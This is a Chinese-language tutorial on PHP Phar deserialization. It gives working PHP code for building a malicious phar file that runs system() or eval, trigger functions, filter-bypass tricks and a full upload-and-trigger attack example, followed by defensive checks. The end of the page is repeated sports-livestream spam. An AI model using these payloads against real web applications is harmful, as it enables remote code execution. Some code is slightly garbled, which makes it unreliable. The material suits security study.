PHP Phar 反序列化详解
Phar 反序列化是 PHP 中一个重要的安全漏洞,主要利用了 Phar 文件的元数据序列化机制。

基本原理
Phar 文件在读取时会自动反序列化其元数据(metadata),而无需使用 unserialize() 函数,当使用 phar:// 协议访问 Phar 文件时,PHP 会自动反序列化存储在 Phar 中的 metadata。
// 触发点:任何可以处理 phar:// 协议的函数
file_exists('phar://test.phar');
is_dir('phar://test.phar');
file_get_contents('phar://test.phar');
include('phar://test.phar');
生成恶意 Phar 文件
<?php
class EvilClass {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}
// 创建 Phar 对象
$phar = new Phar('malicious.phar');
$phar->startBuffering();
// 设置 stub(必需)
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// 添加文件到 phar
$phar->addFromString('test.txt', 'test');
// 设置元数据(包含我们的恶意对象)
$phar->setMetadata(new EvilClass());
$phar->stopBuffering();
// 设置命令
$evil = new EvilClass();
$evil->cmd = 'id';
$phar->setMetadata($evil);
$phar->stopBuffering();
触发反序列化的常见函数
// 文件系统函数 file_exists() file_get_contents() file_put_contents() file() fileatime() filectime() filemtime() fileinode() fileowner() fileperms() filesize() filetype() is_dir() is_executable() is_file() is_link() is_readable() is_writable() is_writeable() stat() lstat() touch() // 其他函数 include() include_once() require() require_once() getimagesize() unlink() md5_file() sha1_file() readfile() fopen() finfo_open()
绕过限制的技巧
修改文件头
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');
压缩算法绕过
$phar->compress(Phar::GZ); // gzip 压缩 $phar->compress(Phar::BZ2); // bzip2 压缩
文件签名
$phar->setSignatureAlgorithm(Phar::MD5); // 或 $phar->setSignatureAlgorithm(Phar::SHA1);
完整攻击示例
// 1. 生成恶意 Phar 文件
class Vulnerable {
public $data;
public function __wakeup() {
eval($this->data);
}
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$obj = new Vulnerable();
$obj->data = 'echo "PWNED!"; system("id");';
$phar->setMetadata($obj);
$phar->stopBuffering();
// 2. 触发反序列化
// 假设有上传功能可以上传 .phar 文件或修改文件扩展名
// 然后通过文件函数触发
file_exists('phar://uploads/exploit.phar');
防御措施
-
禁用 phar:// 协议
// php.ini stream_wrapper_unregister('phar'); -
验证文件扩展名
if (pathinfo($filename, PATHINFO_EXTENSION) === 'phar') { die('Phar files not allowed'); } -
使用白名单验证
$allowed_extensions = ['jpg', 'png', 'gif', 'pdf']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array(strtolower($ext), $allowed_extensions)) { die('Invalid file type'); } -
检查文件内容
$content = file_get_contents($filename); if (strpos($content, '__HALT_COMPILER()') !== false) { die('Phar file detected'); }
注意事项
- 需要安装 phar 扩展才能生成 Phar 文件
- 在
php.ini中设置phar.readonly = Off才能生成 Phar 文件 - 攻击可能需要文件上传功能配合
- 某些 PHP 版本可能有不同的行为
这个漏洞展示了为什么不应该信任用户输入,以及在处理文件时验证的重要性。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播
英超直播